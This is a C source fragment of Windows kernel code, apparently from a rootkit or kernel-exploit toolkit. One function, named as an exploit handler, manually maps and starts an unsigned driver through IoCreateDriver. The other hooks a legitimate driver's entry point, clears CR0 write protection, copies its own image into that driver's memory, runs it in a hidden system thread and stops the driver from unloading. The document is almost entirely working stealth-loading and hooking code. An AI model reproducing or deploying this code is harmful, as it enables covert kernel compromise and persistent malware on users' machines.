//-------------------------------------------------------------------------------------- void kernel_expl_handler(void *context) { PKERNEL_EXPL_CONTEXT pContext = (PKERNEL_EXPL_CONTEXT)context; PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA( pContext->Data, ((PIMAGE_DOS_HEADER)pContext->Data)->e_lfanew ); // allocate memory for driver image DWORD dwImageSize = pHeaders->OptionalHeader.SizeOfImage; PUCHAR pImage = (PUCHAR)pContext->f_ExAllocatePool(NonPagedPool, dwImageSize); if (pImage) { PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER) RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader); // copy image headers memset(pImage, 0, dwImageSize); memcpy(pImage, pContext->Data, pHeaders->OptionalHeader.SizeOfHeaders); // copy sections for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i++) { memcpy( RVATOVA(pImage, pSection->VirtualAddress), RVATOVA(pContext->Data, pSection->PointerToRawData), min(pSection->SizeOfRawData, pSection->Misc.VirtualSize) ); pSection += 1; } // process image relocations if (!LdrProcessRelocs(pImage, pImage)) { goto end; } char szExport_1[] = { 'm', '_', 'K', 'e', 'r', 'n', 'e', 'l', '\0' }; char szExport_2[] = { 'm', '_', 'D', 'r', 'i', 'v', 'e', 'r', '\0' }; PVOID *KernelBase = (PVOID *)LdrGetProcAddress(pImage, szExport_1); if (KernelBase) { // tell the kernel image base to the driver *KernelBase = pContext->KernelBase; } PVOID *DriverBase = (PVOID *)LdrGetProcAddress(pImage, szExport_2); if (DriverBase) { // tell the actual image base to the driver *DriverBase = pImage; } typedef NTSTATUS (NTAPI * DRIVER_ENTRY)( PVOID DriverObject, PUNICODE_STRING RegistryPath ); // get driver entry point address DRIVER_ENTRY Entry = (DRIVER_ENTRY)RVATOVA( pImage, pHeaders->OptionalHeader.AddressOfEntryPoint ); // call driver entry point if ((pContext->Status = (NTSTATUS)pContext->f_IoCreateDriver(NULL, Entry)) == STATUS_SUCCESS) { pContext->Addr = pImage; // success return; } end: pContext->f_ExFreePoolWithTag(pImage, 0); } }
//-------------------------------------------------------------------------------------- NTSTATUS NewDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { // disable memory write protection ForEachProcessor(ClearWp, NULL); // restore original code from image entry point memcpy(m_HookedEntry, m_EpOriginalBytes, EP_PATCH_SIZE); // enable memory write protection ForEachProcessor(SetWp, NULL); NTSTATUS ns = m_HookedEntry(DriverObject, RegistryPath); DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Hooked driver returns 0x%.8x\n", ns); if (NT_SUCCESS(ns)) { PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32) ((PUCHAR)m_Self->DllBase + ((PIMAGE_DOS_HEADER)m_Self->DllBase)->e_lfanew); PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER) (pHeaders->FileHeader.SizeOfOptionalHeader + (PUCHAR)&pHeaders->OptionalHeader); // disable memory write protection ForEachProcessor(ClearWp, NULL); // copy driver headers to the founded area RtlFillMemory(m_FreeAreaVA, m_FreeAreaLength, 0); RtlCopyMemory(m_FreeAreaVA, m_Self->DllBase, pHeaders->OptionalHeader.SizeOfHeaders); // copy sections for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++) { PVOID DataPtr = (PUCHAR)m_Self->DllBase + pSection->VirtualAddress; if (MmIsAddressValid(DataPtr)) { RtlCopyMemory( (PUCHAR)m_FreeAreaVA + pSection->VirtualAddress, DataPtr, min(pSection->SizeOfRawData, pSection->Misc.VirtualSize) ); } pSection += 1; } // reallocate copied image to the new address LdrProcessRelocs( m_FreeAreaVA, (PVOID)((PUCHAR)pHeaders->OptionalHeader.ImageBase - (PUCHAR)m_Self->DllBase + (PUCHAR)m_FreeAreaVA) ); // enable memory write protection ForEachProcessor(SetWp, NULL); PKSTART_ROUTINE Start = (PKSTART_ROUTINE)((PUCHAR)DriverEntryContinueThread - (PUCHAR)m_Self->DllBase + (PUCHAR)m_FreeAreaVA); // create thread for execution copied driver code HANDLE hThread = NULL; ns = PsCreateSystemThread( &hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, Start, NULL ); if (NT_SUCCESS(ns)) { ZwClose(hThread); } else { DbgMsg(__FILE__, __LINE__, "PsCreateSystemThread() fails; status: 0x%.8x\n", ns); } // don't allow to unload target driver DriverObject->DriverUnload = NULL; } return ns; }